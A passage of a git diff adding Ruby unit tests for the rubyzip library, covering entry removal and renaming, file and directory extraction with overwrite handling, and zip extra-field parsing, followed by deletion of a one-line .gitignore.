+      zf = ZipFile.new(TEST_ZIP.zip_name)
+      originalEntries = zf.entries.dup
+      
+      originalEntries.each {
+	|entry|
+	zf.remove(entry)
+	assert_not_contains(zf, entry)
+      }
+      assert(zf.entries.empty?)
+      
+      TestFiles::ASCII_TEST_FILES.each {
+	|filename|
+	zf.add(filename, filename)
+	assert_contains(zf, filename)
+      }
+      assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES)
+      
+      zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName")
+      assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0])
+      assert_contains(zf, "newName")
+    ensure
+      zf.close
+    end
+    begin
+      zfRead = ZipFile.new(TEST_ZIP.zip_name)
+      asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup
+      asciiTestFiles.shift
+      asciiTestFiles.each {
+	|filename|
+	assert_contains(zf, filename)
+      }
+
+      assert_contains(zf, "newName")
+    ensure
+      zfRead.close
+    end
+  end
+
+  private
+  def assert_contains(zf, entryName, filename = entryName)
+    assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}")
+    assert_entryContents(zf, entryName, filename) if File.exists?(filename)
+  end
+  
+  def assert_not_contains(zf, entryName)
+    assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}")
+  end
+end
+
+class ZipFileExtractTest < Test::Unit::TestCase
+  include CommonZipFileFixture
+  EXTRACTED_FILENAME = "extEntry"
+  ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse
+
+  def setup
+    super
+    File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME)
+  end
+
+  def test_extract
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME)
+      
+      assert(File.exists?(EXTRACTED_FILENAME))
+      AssertEntry::assert_contents(EXTRACTED_FILENAME, 
+				  zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read })
+    }
+  end
+
+  def test_extractExists
+    writtenText = "written text"
+    File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) }
+
+    assert_raise(ZipDestinationFileExistsError) {
+      ZipFile.open(TEST_ZIP.zip_name) { 
+	|zf| 
+	zf.extract(zf.entries.first, EXTRACTED_FILENAME) 
+      }
+    }
+    File.open(EXTRACTED_FILENAME, "r") {
+      |f|
+      assert_equal(writtenText, f.read)
+    }
+  end
+
+  def test_extractExistsOverwrite
+    writtenText = "written text"
+    File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) }
+
+    gotCalledCorrectly = false
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      zf.extract(zf.entries.first, EXTRACTED_FILENAME) { 
+        |entry, extractLoc| 
+        gotCalledCorrectly = zf.entries.first == entry && 
+                                    extractLoc == EXTRACTED_FILENAME
+        true 
+        }
+    }
+
+    assert(gotCalledCorrectly)
+    File.open(EXTRACTED_FILENAME, "r") {
+      |f|
+      assert(writtenText != f.read)
+    }
+  end
+
+  def test_extractNonEntry
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") }
+  ensure
+    zf.close if zf
+  end
+
+  def test_extractNonEntry2
+    outFile = "outfile"
+    assert_raise(Errno::ENOENT) {
+      zf = ZipFile.new(TEST_ZIP.zip_name)
+      nonEntry = "hotdog-diddelidoo"
+      assert(! zf.entries.include?(nonEntry))
+      zf.extract(nonEntry, outFile)
+      zf.close
+    }
+    assert(! File.exists?(outFile))
+  end
+
+end
+
+class ZipFileExtractDirectoryTest < Test::Unit::TestCase
+  include CommonZipFileFixture
+  TEST_OUT_NAME = "emptyOutDir"
+
+  def open_zip(&aProc)
+    assert(aProc != nil)
+    ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc)
+  end
+
+  def extract_test_dir(&aProc)
+    open_zip {
+      |zf|
+      zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc)
+    }
+  end
+
+  def setup
+    super
+
+    Dir.rmdir(TEST_OUT_NAME)   if File.directory? TEST_OUT_NAME
+    File.delete(TEST_OUT_NAME) if File.exists?    TEST_OUT_NAME
+  end
+    
+  def test_extractDirectory
+    extract_test_dir
+    assert(File.directory?(TEST_OUT_NAME))
+  end
+  
+  def test_extractDirectoryExistsAsDir
+    Dir.mkdir TEST_OUT_NAME
+    extract_test_dir
+    assert(File.directory?(TEST_OUT_NAME))
+  end
+
+  def test_extractDirectoryExistsAsFile
+    File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" }
+    assert_raise(ZipDestinationFileExistsError) { extract_test_dir }
+  end
+
+  def test_extractDirectoryExistsAsFileOverwrite
+    File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" }
+    gotCalled = false
+    extract_test_dir { 
+      |entry, destPath| 
+      gotCalled = true
+      assert_equal(TEST_OUT_NAME, destPath)
+      assert(entry.is_directory)
+      true
+    }
+    assert(gotCalled)
+    assert(File.directory?(TEST_OUT_NAME))
+  end
+end
+
+class ZipStreamableFileTest < Test::Unit::TestCase
+  def test_equality
+    zipEntry1 = ZipEntry.new("zf.zip", "entryname1", "comment")
+    zipEntry2 = ZipEntry.new("zf.zip", "entryname2", "comment")
+
+    zipStreamableFile1 = ZipStreamableFile.new(zipEntry1, "path")
+    zipStreamableFile2 = ZipStreamableFile.new(zipEntry1, "path")
+    zipStreamableFile3 = ZipStreamableFile.new(zipEntry1, "anotherPath")
+    zipStreamableFile4 = ZipStreamableFile.new(zipEntry2, "path")
+    
+    assert_equal(zipStreamableFile1, zipStreamableFile1)
+    assert_equal(zipStreamableFile1, zipStreamableFile2)
+    assert(zipStreamableFile1 != zipStreamableFile3)
+    assert(zipStreamableFile1 != zipStreamableFile4)
+    assert(zipStreamableFile1 != zipEntry1)
+    assert(zipStreamableFile1 != "hej")
+  end
+end
+
+class ZipExtraFieldTest < Test::Unit::TestCase
+  def test_new
+    extra_pure    = ZipExtraField.new("")
+    extra_withstr = ZipExtraField.new("foo")
+    assert_instance_of(ZipExtraField, extra_pure)
+    assert_instance_of(ZipExtraField, extra_withstr)
+  end
+
+  def test_unknownfield
+    extra = ZipExtraField.new("foo")
+    assert_equal(extra["Unknown"], "foo")
+    extra.merge("a")
+    assert_equal(extra["Unknown"], "fooa")
+    extra.merge("barbaz")
+    assert_equal(extra.to_s, "fooabarbaz")
+  end
+
+
+  def test_merge
+    str = "UT\x5\0\x3\250$\r@Ux\0\0"
+    extra1 = ZipExtraField.new("")
+    extra2 = ZipExtraField.new(str)
+    assert(! extra1.member?("UniversalTime"))
+    assert(extra2.member?("UniversalTime"))
+    extra1.merge(str)
+    assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime)
+  end
+
+  def test_length
+    str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit"
+    extra = ZipExtraField.new(str)
+    assert_equal(extra.local_length, extra.to_local_bin.length)
+    assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length)
+    extra.merge("foo")
+    assert_equal(extra.local_length, extra.to_local_bin.length)
+    assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length)
+  end
+
+
+  def test_to_s
+    str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit"
+    extra = ZipExtraField.new(str)
+    assert_instance_of(String, extra.to_s)
+
+    s = extra.to_s
+    extra.merge("foo")
+    assert_equal(s.length + 3, extra.to_s.length)
+  end
+
+  def test_equality
+    str = "UT\x5\0\x3\250$\r@"
+    extra1 = ZipExtraField.new(str)
+    extra2 = ZipExtraField.new(str)
+    extra3 = ZipExtraField.new(str)
+    assert_equal(extra1, extra2)
+   
+    extra2["UniversalTime"].mtime = Time.now
+    assert(extra1 != extra2)
+
+    extra3.create("IUnix")
+    assert(extra1 != extra3)
+
+    extra1.create("IUnix")
+    assert_equal(extra1, extra3)
+  end
+
+end
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/webs/.gitignore b/webs/.gitignore
deleted file mode 100644
index 72e8ffc0..00000000
--- a/webs/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-*